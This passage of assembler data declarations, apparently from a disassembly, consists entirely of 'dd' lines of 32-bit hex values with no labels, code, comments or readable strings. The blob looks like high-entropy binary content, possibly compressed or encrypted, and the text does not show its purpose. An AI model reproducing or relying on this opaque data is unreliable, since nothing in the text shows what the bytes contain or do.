0C0183251h, 0F26A44E6h, 597B027h, 0D382FE2Bh, 0D0811F29h dd 0C1380BD5h, 0FECA579Ch, 0DB87E0D5h, 2318B387h, 3720BBC4h dd 50F8B201h, 0E228DBB4h, 0B535BA20h, 60BECDA0h, 759023B2h dd 8457F601h, 9F61E97Ah, 3B9E0168h, 0AF75855Fh, 5CA018B2h dd 0BFE45766h, 4B481A3Bh, 0C55EEAFDh, 24290B0h, 0EA314A1h dd 591DE9B8h, 0B38EE0BCh, 0CBEE1227h, 258B4815h, 4AC2A065h dd 0B731450Fh, 8BFCE778h, 283A1D63h, 0F9C9B9C3h, 46D5B857h dd 0AA2E89A1h, 0E92CAA68h, 0D6F8B62Fh, 0F689EDE9h, 0D7924454h dd 0DA70CCFBh, 5011FBEh, 0C8BDCEB9h, 44D9E13Bh, 0FEF8AAA0h dd 0DBE8AAA4h, 97F0018Ah, 4A84E630h, 3AF5E9B0h, 0EE3CCDFEh dd 0BC2C3F5Dh, 0DD7F16F9h, 608CEC49h, 949CCB1h, 12E255A8h dd 0E10B48D4h, 3A3EC57Eh, 51A26FAFh, 0B4737B6Ch, 0EB073CA6h dd 0BE51565Dh, 0F86B0A37h, 0A61E2436h, 0FDD0888Bh, 0E6D18D48h dd 9EEE810Bh, 17C75001h, 0C1555EF5h, 0CD689F54h, 0CF88E63Eh dd 0A9E90B07h, 54B72B50h, 72C35808h, 0E63AEC0Fh, 0F72F4C68h dd 8C784BEAh, 564F515Eh, 98D28964h, 5862690Ch, 64972D6Fh dd 7740F89Ch, 32517755h, 481E2AF3h, 6E598161h, 41297ACCh dd 33CB3EB0h, 0BE7D465Eh, 0D327A526h, 0EE4BDA9Eh, 0BB112C3Ah dd 8EE1013Ch, 312C6033h, 6C41F4FCh, 56893027h, 5F58E202h dd 98A47D09h, 14BCBE52h, 8AE54E79h, 335817h, 6AA41FB8h dd 0A2E858BBh, 0F4A100E9h, 170BD906h, 0AAA355E9h, 58515FCCh dd 4600CE52h, 0B95A27BEh, 0D82CBC84h, 4B24C44Ah, 0BC8DFCADh dd 578F8697h, 0F008CD88h, 2AC54F0Eh, 0B30BD609h, 0AC6B82EEh dd 4EF3CB60h, 8A1ABB86h, 96D8750Ch, 0A8E7E917h, 68A221FDh dd 95A9D05Fh, 0E958C456h, 8B4849ADh, 5A50E303h, 0CBB036FCh dd 70254B94h, 0ACAD004h, 0DB3C61EBh, 0DF600BACh, 942E7FFh dd 984EE2C9h, 3BC564Bh, 35471EF1h, 0E0BE003Dh, 1C7CC23Eh dd 575F2F2Dh, 55247F96h, 80828752h, 0EA777A4Bh, 0FF070B45h dd 74454B02h, 2992A2FBh, 37D1604h, 15868ABAh, 3824D73h dd 6DB5BEEFh, 39F4DF9Fh, 26D8D8EAh, 0E1D5D3AAh, 6DF49B25h dd 0EA42BD3Ch, 0CDD67AE2h, 80086158h, 800713B4h, 0E328E5F4h dd 92B04AC4h, 9BFEB701h, 0E9BB4952h, 0B85EFAh, 773085BAh dd 70C00942h, 3C91F581h, 8860F37Fh, 5B9DFA84h, 3A9AD6Bh dd 361672C7h, 9F0C0008h, 0E9CC85C2h, 0D4B97932h, 0A8719B02h dd 155C5575h, 0E60EDABAh, 0AAE44D9h, 3E0959F8h, 0FE004BE8h dd 719F78A1h, 429618C1h dd 0D9705CF2h, 16914EE9h, 15A1DCB0h, 7CBD3170h, 50B15001h dd 2AEE8BC7h, 0D545F822h, 51CE3687h, 8368CF6Eh, 1213281Ch dd 0BBF6E062h, 8DCD27DCh, 38430962h, 74C469AAh, 2654C40Ch dd 0FC07CC5Bh, 910D4AFBh, 7CCFC5ACh, 27E3A5D7h, 8FE26D94h dd 5413C25Eh, 58A22609h, 472D0088h, 13B401Ch, 7A205F0h dd 58D7F1FFh, 5E31512Dh, 1E0D60D2h, 97C54A68h, 399C91FBh dd 878D2F5Eh, 27234DE4h, 64DE0F82h, 72544B07h, 573C0D9h dd 0D48009EDh, 0C17D09F8h, 81A66DA1h, 9E6E2347h, 7206D6C1h dd 0D0FFB68Bh, 2A2C4FFEh, 0C9FE1779h, 65D89CABh, 1E690895h dd 0A43D06D8h, 984B207Ch, 2C8741BDh, 0F8F01220h, 3F236096h dd 0A8BCC4F5h, 7D89A33Eh, 32A03030h, 24286BBDh, 2611A5Dh dd 4E38DF5Eh, 899A03D7h, 0A8AACCF2h, 9DEF93F5h, 1D2140D7h dd 5F3EA837h, 9E5BF4Dh, 0C3A5765h, 3E047890h, 292FFFDBh dd 73AF92D1h, 0DDE905B8h, 0C2CCD282h, 64B2D3E1h, 0A5FC32B5h dd 0CB0C4468h, 5869B08h, 0BF2C8758h, 991057E6h, 7947F4Eh dd 1B22D042h, 5644C5E7h, 0B86BB40Ch, 517F6041h, 0ECF4DFF8h dd 52BCF5ABh, 8A541893h, 2C3880BEh, 8A21AE66h, 33FE4C12h dd 0A4C957B4h, 0DC7BA83Eh, 0AD20393Eh, 27D05077h, 0ACC41DA7h dd 445AA598h, 85C515F2h, 2E98406h, 71F2E9BAh, 0C08BB2DFh dd 9391006h, 0D1012C15h, 13083A08h, 0CBFB5Ah, 53C4549h dd 0C1D035C8h, 0FE67D416h, 8072E88Ah, 595E68E0h, 0AC0318B6h dd 0E97A5011h, 0E45F16CAh, 7FFD206Dh, 329C7D9Dh, 0F143A92Dh dd 74CB275Ah, 76CD11B0h, 0CD21E524h, 5E545641h, 2D47DA3Ah dd 0DD468BBFh, 0BB09AA0h, 65903D94h, 8D2816FEh, 6DEAC662h dd 7DEAC180h, 5D272D03h, 0E7743275h, 9ED125E5h, 9BF14E44h dd 0FA4AD47Ch, 0A424922Dh, 92D89F87h, 0C56D796Eh, 9BED0E11h dd 0B8BC210h, 5CCCF180h, 9AD43185h, 0D001022Ah, 5FDA40BAh dd 0E15D55DEh, 1516576Fh, 639D1DB4h, 0DF019629h, 29158E6Eh dd 202FE69h, 7ADBE940h, 803EDEE8h, 68B0BA12h, 958937B4h dd 0FC2D6BE7h, 16A006Dh, 0EDB8145Eh, 4F945312h, 5B728BBBh dd 468D2940h, 0F1293A6Fh, 580C0219h, 80274479h, 70EBBFE3h dd 0FB1D4BF8h, 9448079Eh, 0FA36169Dh, 0E63B9A39h, 0C8E987A9h dd 0E933D69Bh, 68AB8A0Fh, 0C38399C0h, 0B52D20F5h, 16AE401Fh dd 57FEC68Bh, 5A59DBEEh, 12BE014Ch, 1301F07h, 0AB045629h dd 1D456E0Eh, 231644C5h, 85650EFh, 5140C68h, 1851EE9h dd 2E10DC32h, 92C1EC0Fh, 841C1FBBh, 0F774EBC0h, 0A10DD8h dd 356A1D16h, 450B2E67h, 2AC02502h, 0D5F73C79h, 3D6B36E8h dd 2742894Ch, 61688EADh, 12234727h, 0F5AD273Ah, 3E3CB1A8h dd 0B788A6E0h, 85DA42Ah, 762C70F3h, 575D1932h, 148248DCh dd 4252447Bh, 13C8C1A4h, 482F032Fh, 5C272E1Ch, 663E0115h dd 68CCE1F7h, 0FF6D4EA7h, 41960D61h, 806F207h, 652FB3A2h dd 0E0BD115Eh, 0FE17DA62h, 0BB53034Dh, 22475F8Eh, 6408EBF9h dd 0D361F7E5h, 0B73EE911h, 0D4EDAB50h, 0DE51320h, 4A88EA5Bh dd 0BC759734h, 0E8DBB5A4h, 70BBF61Eh, 11271A90h, 24F245BCh dd 8C50142Bh, 5460F902h, 0DE754D09h, 0F0DA47BAh, 0F5877A2Eh dd 8D8D6F8h, 2F10ACD8h, 4003E640h, 1A818EBDh, 0A8887B57h dd 4E8D2768h, 0FBCE2918h, 1848B980h, 78026E61h, 0E609DAF5h dd 0E23FE920h, 31F3C714h, 7AC4E915h, 0CD80AA03h, 1FC5999Eh dd 213E1761h, 2F8CDF95h, 83808DDDh, 0E03AF9BFh, 7D4EE90Dh dd 0C8D10DC2h, 27EFA4B7h, 8C54D4CBh, 0F1232913h, 0ACB0B5E9h dd 0FADD6901h, 0F4A5A65Eh, 22E9C1C6h, 0B5E76B6Fh, 0F55D324Fh dd 0D16E887Dh, 0D81969CFh, 6859099Fh, 70984FCAh, 0B7075350h dd 80CFFE30h, 0E732A927h, 167F670h, 0F8884AEFh, 7DC5CD5Bh dd 1C0C8571h, 54F62447h, 4B6201E6h, 0CB26A861h, 70F50950h dd 102D00CDh, 29BD0172h, 0CE9658C5h, 3088FB0Ch, 95F5905Ch dd 9B68B4E8h, 49CC2D4Ah, 88F3407Eh, 57FAD15Eh, 9740F20Ah dd 9C0E3A35h, 3DEA1779h, 0F26760EFh, 734A666Bh, 2D68051Eh dd 4D7B613h, 6C36E956h, 428CBD01h, 5C75CAA7h, 0E0551276h dd 0BF7257D2h, 35B37103h, 92FB8953h, 808071DEh, 0D5CE815Fh dd 4F2F917Bh, 78B3D857h, 7FB304D3h, 0F34520E9h, 0E1C010C6h dd 80B00E7Fh, 0C36901EBh, 0F980155h, 0F03ADAF6h, 0AA01C2B1h dd 885AD328h, 63E65BDEh, 0E9CEF047h, 0E734EB09h, 4FCEBAC7h dd 567F0F1Fh, 0B8D0C9BDh, 535C8C18h, 9363D99Dh, 5C29BB55h dd 0A4A5F492h, 4B9FC16Fh, 0A264DA24h, 0DFCA31E9h, 43922102h dd 0BC0800FEh, 9FE3D93h, 4F143DF9h, 302D9FC0h, 7217E92Fh dd 0D6891260h, 64C1F0CCh, 0F137EE60h, 1F88331Ah, 76C80156h dd 0FE0C6CAAh, 8D4F6CCh, 0C2C43080h, 0E130CD06h, 0F2FCB898h dd 45C15EB7h, 0A093FEA2h, 2D242BA1h, 27726D1h, 11B94F4Ah dd 7FE74BC0h, 893C5812h, 90EF3113h, 862EE9EAh, 5F5458C4h dd 0B8DF469Ch, 0E0BE4D64h, 0BD187913h, 4FB81BEh, 0E9017C0Ch dd 24176AD4h, 0EB5938AAh, 8C6DAE0Bh, 2BDEA40h, 7F6C50E1h dd 683020C6h, 7789D54Eh, 29535E5Eh, 6F601ECh, 52AF05BBh dd 2322BA35h, 0A9864BB4h, 0A873E59h, 0D5C0095Ch, 0E315B1EFh dd 0C7F37A1Ah, 0C94FCB1Fh, 0EB934267h, 7932EE56h, 3CF24088h dd 17019A53h, 0EAC02B91h, 5B6A3445h, 36500FF7h, 9281353h dd 0B186016Dh, 2F92F6D7h, 0B82E03E1h, 0F0ABE4EDh, 2E86EBA5h dd 83A68228h, 138E6D81h, 6702F7A0h, 0BA239624h, 1877B902h dd 0CD81FF54h, 6B8FE4E9h, 0CB5AAB8Ah, 25E912C7h, 0F2FE5E82h dd 3DBF2042h, 0F28252BDh, 41684F4Dh, 62119346h, 1CBB2A1Ch dd 570FC223h, 4A7D6132h, 0D20808A9h, 3E4B3617h, 0EB0FF53h dd 502D6EBAh, 7E82833Fh, 511BB155h, 7CF587DEh, 611A63D2h dd 744F383h, 7F94CBFFh, 11193E14h, 8A683F9Dh, 152DDB63h dd 516EF50h, 2958AC02h, 8D510CFh, 13735924h, 64C71668h dd 50270ECAh, 0B267EC1h, 0EC862B62h, 0B52D006h, 5910D542h dd 0C0BA01C6h, 3142B61Ah, 0FBB5A828h, 5EE9593Ch, 9D70FB37h dd 0B9489768h, 840A40Fh, 801D55BBh, 8F584C8Eh, 0D9F606C1h dd 279B7B0Ah, 0C2F1EFABh, 0E1A0A87h, 7231638h, 704E478Eh dd 997EDBEEh, 73123F4Ah, 531A8804h, 86032D00h, 0F4F4D27Dh dd 0BF4BE79Ah, 408217FEh, 856538FFh, 7C5F0111h, 0C4181E3h dd 57C6FD21h, 296453FCh, 0DAE2F684h, 0ABE5D184h, 71C74904h dd 3163B6AEh, 46C6FC58h, 867D0105h, 0E77A402Ah, 4DF681D0h dd 32BA231Ah, 0BB1B45CCh, 479FC302h, 83C112D1h, 44127E42h dd 0E9F083ECh, 0BBC6DB39h, 2F157E46h, 149831E3h, 5D81AF02h dd 56D2A472h, 0E1E811A8h, 0CDEC6F70h, 0BBA72645h, 0FA4FE38Ah dd 1F528635h, 99A9EAFh, 0F298B7E9h, 2BF409A4h, 5A772170h dd 7AAFA1A4h, 4BCF9530h, 1DCBAF59h, 9A829955h, 67F7191Ch dd 701BF4Ah, 665D99E9h, 0A3116E8h, 9D5869A7h, 0A32A3C12h dd 61F82788h, 0B26E05E7h, 99631791h, 0F57CCCCh, 60412768h dd 82295F04h, 6CD70825h, 0B917D0DCh, 97278A25h, 0A29272DFh dd 5BAE5655h, 7E6546F1h, 3785A5F8h, 7188BF64h, 27D97AC0h dd 6D74AFFAh, 0CC412F62h, 5FC3F262h, 7F25FECBh, 50C107FEh dd 4C91BF6Fh, 1942009Bh, 0CB81103Ah, 0A131252h, 0D2341D39h dd 54594BF6h, 173D680Fh dd 2205C9BCh, 0F1AD10B4h, 0C70F9C4Ch, 158B199Ah, 683768DFh dd 975D7070h, 6640327Fh, 5EF012D7h, 0E9153805h, 0BC84874Bh dd 0A0EF32C8h, 822701D7h, 0A8F361h, 17EDC981h, 0E361234h dd 0D1CC1055h, 965F0F22h, 0B8F4041h, 0C13E0211h, 42FE09E7h dd 59682194h, 98B512C8h, 1A534095h, 0FE457191h, 7CB5077h dd 8719E3B9h, 546EA27Bh, 3360A87Eh, 0FA0E501Bh, 16269E9Bh dd 1FE109FEh, 53B4F1F0h, 0E1FA89C9h, 7FD85BD2h, 819B72Dh dd 3912C52h, 18284EECh, 7C24059h, 0C21C4FE9h, 6DDD6628h dd 65ED1FC8h, 0A42F01CCh, 0D8115DFBh, 2A0ECCBAh, 0A3F04C4Eh dd 3D9FA149h, 2C521EE8h, 5A4CC831h, 2CDA1B80h, 0AFB02A44h dd 2E2B9F01h, 0D8F7951Ah, 413D54CEh, 0C096B551h, 666459EEh dd 0E905ED0Eh, 0D1C2A0B1h, 0E535E802h, 633EC7B7h, 0B34D8824h dd 0F2810272h, 54DE25DCh, 3B490DC1h, 0CA8F0DF2h, 0FFC153ABh dd 0D3EC7A66h, 452CABB4h, 0AB56121Bh, 5B20BA26h, 0FE090C8Ch dd 2A7E904Bh, 80CC799Fh, 0FA227A8h, 0E801DCB6h, 0E42088C9h dd 0F675EF80h, 0BAC0D73Ah, 1FDFBD07h, 0C74C7BE7h, 5A00645h dd 285BFD88h, 450EBBEFh, 0E9A141EBh, 0A432BBD8h, 16815A77h dd 493F0BD2h, 3132C5F8h, 0DD9CDED8h, 5EF13123h, 5F608020h dd 5B45B9BDh, 921F9884h, 613341A0h, 5900D2A9h, 15BDA08h dd 2CF7F280h, 20D02821h, 5F82407Dh, 0B5971876h, 7C7B47EEh dd 0F81D0871h, 5D8573D3h, 0EE05FDA3h, 0BAF034E8h, 90BF3885h dd 0E9D601E7h, 0F9930C27h, 47C9CFBDh, 70A48258h, 0F4109C0Bh dd 0BC3511Bh, 98464785h, 5645FEB7h, 0DF8F682Dh, 19BE6A90h dd 0E9CC0D28h, 8065997h, 6804759Ch, 5FF35730h, 8970EE2Dh dd 2C18312h, 0D2C41EB2h, 21F7981Bh, 5D6D3A04h, 0FDBE4C31h dd 5ABD97F7h, 0EA741185h, 0C1482A40h, 32D02E8h, 46CA6585h dd 805BC631h, 0A83A73E5h, 0A3FAB546h, 30C2458h, 20B452A7h dd 0FE3F2CCFh, 4D2AB0CCh, 3FA8EB81h, 1CDA6D69h, 1908A8F9h dd 26C861E9h, 41E47F2Dh, 5D305389h, 9926632Eh, 205B7829h dd 0D9B00799h, 93470B13h, 4020A8F8h, 5B45F4Bh, 0D3761402h dd 1520E661h, 0D2ED8101h, 1B067EBh, 0E913714Bh, 0FBA856ACh dd 41D26A88h, 4F1C7C37h, 0B5788D8h, 0A629F5BFh, 92E7E183h dd 0CA87A0B5h, 0EC647D45h, 0D73C1FF5h, 52F9561Ah, 0BAB100EDh dd 3097D86h, 1FCA8104h, 80B88A4Ah, 756DE501h, 3F57E93Fh dd 0B2BA3E13h, 9F83CC5Ch, 6E48722Ch, 8B541E12h, 4F4B0E10h dd 1489B9A3h, 7AB855B8h, 62805800h, 99016CBAh, 3BD49FD4h dd 534CE200h, 2C6840E3h, 0C0523B26h, 2D357DD5h, 79F1314Bh dd 1273DF6Ah, 0E3BB8DD4h, 0E6809F0h, 5B9C197Fh, 4C9F9420h dd 688E434Bh, 8FB06E2Bh, 48072B4h, 0F202E4AFh, 240BA0Dh dd 2882EE80h, 0DED85AF0h, 2A509C48h, 8013872Ah, 4E08DAF5h dd 68910248h, 2FAA47D9h, 6E7C2FD6h, 72782D71h, 36765F25h dd 40585609h, 0DD36C0FEh, 0BBB5B7Eh, 7571B2FFh, 2D668068h dd 1D640A3Ah, 5D9D029h, 68F05A0Eh, 0E93E093Ah, 59578BF4h dd 43E9E146h, 28B7B6Bh, 0AAEB4F76h, 3420C08Bh, 0DF515E27h dd 0ABC5E3Eh, 407BB880h, 13256E1Fh, 0D5304Bh, 0E905E017h dd 33AB3CBEh, 7E54EDC1h, 0B7EEB252h, 0D9E9C47Dh, 53017EACh dd 0CB8077B3h, 0DF069FB5h, 1C51168Dh, 392D5020h, 3813E361h dd 50E8B601h, 7C01638Ch, 0CE2119E4h, 69534AE9h, 7A9F1F0h dd 974D46Eh, 1EF55B08h, 26E9162Dh, 0E7D7FEDFh, 7DA0A884h dd 0E219729h, 20EFC101h, 5E0BF7EFh, 0D8E1F34Bh, 2C3FFBA7h dd 0E65DE99Eh, 0C15905BDh, 91A806EEh, 0A1206548h, 0D05A70EDh dd 4BEF1A39h, 502AEA8h, 794D11C7h, 8257A861h, 0E0029322h dd 19505F69h, 0E64EF025h, 0BE45B0AAh, 2E5C59BBh, 0EFDE34FBh dd 217E2199h, 43E67A3h, 79D193FEh, 7A7C39Bh, 99EB87D3h dd 56C16202h, 32DFC449h, 803018FEh, 0EEABB614h, 0E4765F1Ah dd 5898C255h, 888004E7h, 28BD3362h, 5DE4718h, 736C320Ch dd 0F5D00141h, 704AA07Ch, 4F05C4F8h, 0C6E92F4Ch, 0FB7146F1h dd 0D320A92Fh, 81F2FC16h, 550060D5h, 8D026C68h, 74DE5D05h dd 5D310F32h, 6CA4B9DCh, 0D1AC5B2Bh, 9A594C5Ah, 0F68103CCh dd 5B2C0D52h, 714E860Bh, 58C98410h, 0F34B8CF8h, 3368846Fh dd 5311CCBBh, 725BC4F2h, 40B05B8Ch, 4CB7BF37h, 5F083F96h dd 0F8D5B192h, 52BF964Ah, 6EA3BAA0h, 0F24BCF16h, 0A6573C58h dd 509A7982h, 0C92AF739h, 3BC7107Bh, 92809BFh, 58F05553h dd 0AD63CF38h, 2817813h, 4C3B5CECh, 71D8F989h, 7705AA0Fh dd 25F3E01Dh, 0F962D732h, 978AD830h, 0E4C6748Bh, 0B3DF6097h dd 20502460h, 0BCCF131Ch, 8C99CA04h, 4A4378ADh, 56FDF05Ah dd 4C94BE04h, 3AA16B3Ah, 5E1A56Eh, 517D2C0Bh, 6E23E916h dd 9BE01489h, 7F5D924Eh, 0D36D2FEBh, 0D8490DDAh, 0C0C33A72h dd 687E40F9h, 9607CD1Dh, 7FC45E1Bh, 54402704h, 126339FEh dd 29682558h, 2F8F6140h, 7F21C925h, 8BB00768h, 0CC8FE1Ch dd 53D0F681h, 0E06ED5B7h, 0C11C8080h, 0E9CF284Ch, 99FBF2B8h dd 6AFD2E9Bh, 9BAAE9C2h, 25DBA0D7h, 383C6C73h, 90C84B5Bh dd 754FD007h, 0CA563943h, 9083C780h, 58315B5Dh, 0DA3157FBh dd 2B5AD10Ch, 68CD44AEh, 2A3DE171h, 0EBB45FB9h, 9352E6CBh dd 79679704h, 51BC8012h, 5917CA4Dh, 0C85227E9h, 1C0B5B04h dd 0FCD15C0Dh, 0A09F8890h, 20BC3E5h, 1EC2FC7h, 98E994A1h dd 75F979B2h, 47966A1Eh, 45CE60CBh, 33B809F3h, 3D629E74h dd 0B50EC1Ah, 27515BF9h, 0DCA0BE50h, 3D3037ADh, 1B2A0C14h dd 45B2A09Eh, 27A29B4Ah, 5F825822h, 28546801h, 0D9DA756Ch dd 2C021BDCh, 552A862Fh, 0EB68EE40h, 0B166653h, 5FD93A50h dd 4C333A02h, 638B5AA9h, 79428562h, 0E978BC54h, 61A24851h dd 0FC1C658Eh, 0DDB38FBh, 28EB4Fh, 0AFEF5A83h, 0F6328629h dd 0B567E84Fh, 0E9C7F6E2h, 6AA9FB80h, 3B26E7AFh, 5DFEC30Ah dd 0F18440BFh, 8484827Dh, 3FB20032h, 1FA3B652h, 4D8DC680h dd 20AF15C4h, 809664D4h, 1F386167h, 4AFBFB46h, 0C0E1B827h dd 52BBB450h, 281201B2h, 88515AD4h, 33FB78E5h, 0EBD66858h dd 0D2C0EBF3h, 8D2EE108h, 2FDCF320h, 9BD8AD04h, 3BE22C5Dh dd 0C6B71250h, 0DDC631BBh, 8ECC7B31h, 0D3056232h, 0E2D62176h dd 65B78EB0h, 4EF87828h, 7266045Bh, 0F1210A36h, 166AC308h dd 61DC0952h, 3CC5Fh, 865F0ABBh, 10E95631h, 62CF9DABh dd 2556975Dh, 0EA17DE82h, 4BD87451h, 13196879h, 0DD38649Bh dd 5485E25h, 0D7A9AA7Ah, 34287A51h, 1E7B6F78h, 0AA0F1240h dd 0ED27C163h, 0E5FBE003h, 0E4E92D06h, 0E8F30368h, 2C256F07h dd 0EBDEDD01h, 7C46D7F6h, 4BE95454h, 148E790h, 2565C18Ah dd 816A1FE9h, 0E473CEEAh, 0D1161950h, 0A71F4EE6h, 255238C6h dd 0CE0F120Ch, 30AF816h, 13C60B02h, 0C3102129h, 0DB00CB24h dd 2E21B850h, 0E81D5A8Eh, 1CD110F8h, 9EC6800h, 0F75807B9h dd 7E25D000h, 0E92D3373h, 0A8CC4E65h, 550B9E94h, 0F9E7F55Eh dd 0B30D888h, 0EEFE05ADh, 2E4B6884h, 90DE85ECh, 10D15238h dd 4050F26Ch, 0F7682A05h, 391295BCh, 0C7CAC6E5h, 0C5167DAFh dd 5F8F99B7h, 0A2A9FD3Eh, 0AF9775Ch, 0C461D66Bh, 8B86F8C7h dd 49085C55h, 0F8AABE05h, 83815EB3h, 0F6452468h, 41A9F7AEh dd 2AE80F7h, 0FCE6814Ch dd 0A09D4B1Fh, 5504B172h, 0F3013DE1h, 0D711E2AFh, 0E67E51AAh dd 0F4D4EE13h, 6E5804F9h, 39A186E7h, 616F9C18h, 2EDA685Bh dd 0EDD325ABh, 0E401B346h, 0E909AFFDh, 0ECAFDEE7h, 0AC6B7E8Ah dd 0ACF8196h, 0A05F60DBh, 0DB507DCh, 0B2F336EAh, 5887A255h dd 0F76A425Bh, 5AA8A54Bh, 245FD56Eh, 2D7A9E8h, 7DC365E9h dd 2A73B443h, 3A3B7B0Bh, 0BDEB7A14h, 9CE6B010h, 827F5981h dd 0FE77586Bh, 38CC7949h, 0D405021Eh, 0D73C5FEAh, 38C53841h dd 515225ACh, 0D821589Ch, 80F5397h, 28021F68h, 0F63604F0h dd 2693C3CDh, 3DEB4D04h, 6D87EEBBh, 0B5495FCBh, 3E8030D9h dd 0F16A3641h, 0F006A413h, 56AC7A09h, 4873C024h, 39800D6Ch dd 0A06E7770h, 4F3861A7h, 3BD8ACFBh, 0E9825044h, 7FD7C825h dd 9C3E2EC5h, 0D72579ECh, 2A01C619h, 68A368BCh, 21FE0BD6h dd 58507664h, 5FE8AFC4h, 3A96EAD3h, 33B0AA6h, 40F7497Dh dd 0D838C4C6h, 22BD295Bh, 1803022Eh, 6F691C08h, 8C0FC428h dd 0BB7D9E05h, 84BB290Ch, 0A9081A5Dh, 56CA541h, 45FDA5FEh dd 16CDBC32h, 7E097B04h, 0F416D7D9h, 4B3B1438h, 0E9073CBAh dd 0FFC5D213h, 98B5F3BAh, 0B0535133h, 81059564h, 0B6B28088h dd 0E6252867h, 2469F058h, 316A80C6h, 9E53660Eh, 0C28F2E94h dd 0E9DA4167h, 31265B84h, 18E6882h, 0F297E479h, 0A6BAC385h dd 65BD4B58h, 0BEA6AFF5h, 0DD01FB4Eh, 16E9D701h, 0FE1BD928h dd 77C904C8h, 16713232h, 0E2DD09F9h, 12F0CF3Eh, 71A44E5Ch dd 8559523h, 0BD249786h, 1C45B554h, 0F67F3B8Bh, 7B5C7163h dd 430039ADh, 55C7CB81h, 82A04F47h, 0AD2DBFBCh, 25EAD84Ah dd 135468FBh, 0E1AAC2C5h, 7AD66042h, 65160583h, 0FE18A526h dd 0B850CF60h, 0EA5A8402h, 0E90B91FDh, 26A9E8AAh, 0DF282456h dd 80F9C220h, 1763D5B9h, 0A00130CDh, 8990FD72h, 0AD514D26h dd 0E302D628h, 0E912DE3Eh, 3561DE09h, 0FB8A174Ch, 0D7D28DC7h dd 82A2D748h, 0C45790B1h, 0DF885038h, 0EF624A82h, 0AA4F0C8Ah dd 1930B91Eh, 6B712E10h, 8B7CDF72h, 90F97F49h, 35B85CC4h dd 311968C6h, 608CE925h, 76BBBEh, 0BF56932Bh, 42C90AFFh dd 26CF8100h, 0F77F746Ah, 0F604D8D7h, 29F63F87h, 931F0E9Dh dd 416D8FC8h, 5AD6F8D0h, 0CE0575B8h, 703B1B91h, 2BC4FD1Fh dd 74C04473h, 16D472E2h, 0A84EE94Fh, 28B35FFCh, 185EA4D3h dd 49743144h, 0D485A634h, 0C9EA4075h, 439002E2h, 72ED494Eh dd 0C7454006h, 0A5090C4Ah, 0FDB13442h, 0AC8D7BCBh, 245726C9h dd 58AD066Fh, 268F692h, 69D02289h, 845F215Fh, 0B2A87726h dd 7B354001h, 6A41830Ah, 41D347F4h, 0A6B8470Bh, 512CB323h dd 6BB547h, 170BB3A9h, 835A120Eh, 0CA6A03EAh, 84CD1F7h dd 2F890499h, 30344A0h, 81914095h, 2C2720F5h, 43FFC05Bh dd 52F0886Bh, 0D7AAC29Bh, 0BC136182h, 80D90400h, 0B81170EBh dd 69612033h, 515F93A0h, 0C49B933h, 3A83E182h, 994EC730h dd 621102FAh, 604909E5h, 4E523FE1h, 0C1E680FBh, 2C485908h dd 577A0616h, 2EDE7F6Fh, 0C0985FECh, 3A12C99h, 7E887AF1h dd 708CC4Ah, 2712CC68h, 99801DFEh, 24DFE9F6h, 25D397DAh dd 1E106D7h, 6F122584h, 0FEF24A57h, 0F47B2795h, 7051863Ch dd 7D8594Eh, 53337E02h, 0C16A6C01h, 70B44C2Dh, 0CE1E5E8Bh dd 85564B73h, 6900CAE7h, 4D62C260h, 504CC7E9h, 6056A2F7h dd 9247F16h, 83E930F6h, 53FA9CC2h, 19493298h, 7D004B8h dd 2FB15547h, 19A40D61h, 0A7194C50h, 25C18340h, 88FE07E1h dd 931F7B58h, 2FC00B86h, 1173EFA2h, 0A42BE18h, 21297151h dd 0E28102C2h, 84D52F3Eh, 12EA2D43h, 87F3FF8Fh, 671BE983h dd 3BE1F105h, 52C0BB4Ch, 25284BC9h, 80FD3674h, 301AE937h dd 3A277F92h, 7102C8F1h, 59CF31CBh, 5E2E161h, 967EB5FEh dd 2DBE5BF9h, 0A78C2BC4h, 388D0EEEh, 0C62F0173h, 7F08A81Ch dd 0FAB45BE9h, 51787130h, 257D4Ch, 871E48C5h, 0FEA0E905h dd 7BE28D3h, 0A6E0D1B9h, 879D8328h, 0DC925050h, 96D580h dd 0E04ACBFAh, 5ACE22BFh, 0BA6BC084h, 5F38A18Ch, 500B3DAh dd 4321361Eh, 67F73E87h, 5B912734h, 4920EB29h, 0D3411F6Bh dd 0BD87CB31h, 0B94ECAC6h, 0EC3B50A1h, 416EE6BCh, 1BC23ECEh dd 467DA06h, 6ECB2AC7h, 0FFACFA18h, 0C9AED02h, 56756A6Bh dd 0E911B146h, 4ADA3CBEh, 134ECAFAh, 0AA94BADh, 0BA12EE96h dd 10EDB920h, 3B7E2515h, 8913FEDCh, 36DD3304h, 42FF0509h dd 5DB389E5h, 0AE8962EFh, 84ADA941h, 95037BCAh, 601D5F7h dd 0D34635D0h, 0C29DE755h, 537D3FCh, 0EA44BAB5h, 60D1ECCh dd 91DB03Fh, 2D5A56CDh, 6037838Ch, 26E37D24h, 2131073h dd 29A69C68h, 55CD1772h, 12AFA8E0h, 77FB68B8h, 0A079B519h dd 6906642h, 48401727h, 6F61BA89h, 20816444h, 201C577Ch dd 32185089h, 8182693h, 2E70F4C5h, 0EA55CB01h, 3CE2411h dd 72B20C38h, 886D3A3Ch, 39C1155Dh, 7CE5693Ch, 4FF5A2BEh dd 0B567E881h, 1DBA889Ch, 0B33C946Dh, 0A120BE04h, 65AAC02Bh dd 3248A679h, 57CD1078h, 29B2D50h, 68218B0Bh, 1F6C0971h dd 0FE17250Fh, 0A7647A11h, 0C2608137h, 0C63A4D3Fh, 144F0712h dd 0CA48E478h, 84D710B9h, 1821D740h, 0C69093Dh, 940B7472h dd 0C016E9A8h, 5AB1512Ah, 974EE078h, 0FD8012E1h, 2DB6C080h dd 0C0F2F120h, 1208E134h, 605EA105h, 1A0787FDh, 0B22BA942h dd 866E36Eh, 4B5863F0h, 45AA84CAh, 4D575AFh, 0EAFFB809h dd 18273A8h, 1E4156C3h, 85BE05EDh, 0F6E0BA91h, 6C9A04FDh dd 0BEF1E91Ah, 0E7BE2852h, 455B12DAh, 0C1C5C8FFh, 7D7C51F0h dd 7245629Dh, 0D85A5F6Dh, 0F52568C1h, 0A2C49948h, 94F0F83Eh dd 0C1C613C1h, 7383BE6h, 34FD97F0h, 0C30D7ED5h, 0C811C3FDh dd 0DF01B088h, 51698C9Eh, 386D085Bh, 54D8BB02h, 92E0608Ch dd 828A944Eh, 439369EFh, 26B97BF7h, 32C20054h, 4A45156Bh dd 4A2D50B7h, 8B8E822Ch, 711CFC57h, 28666858h, 1B2A9E28h dd 6BA0704Eh, 5795F99Bh, 705671Ch, 57FBCE5h, 53C1D1EBh dd 0D7F47ABBh, 0E9D80929h, 5B578F19h, 0E162965Eh, 27D70256h dd 5797EF6Ch, 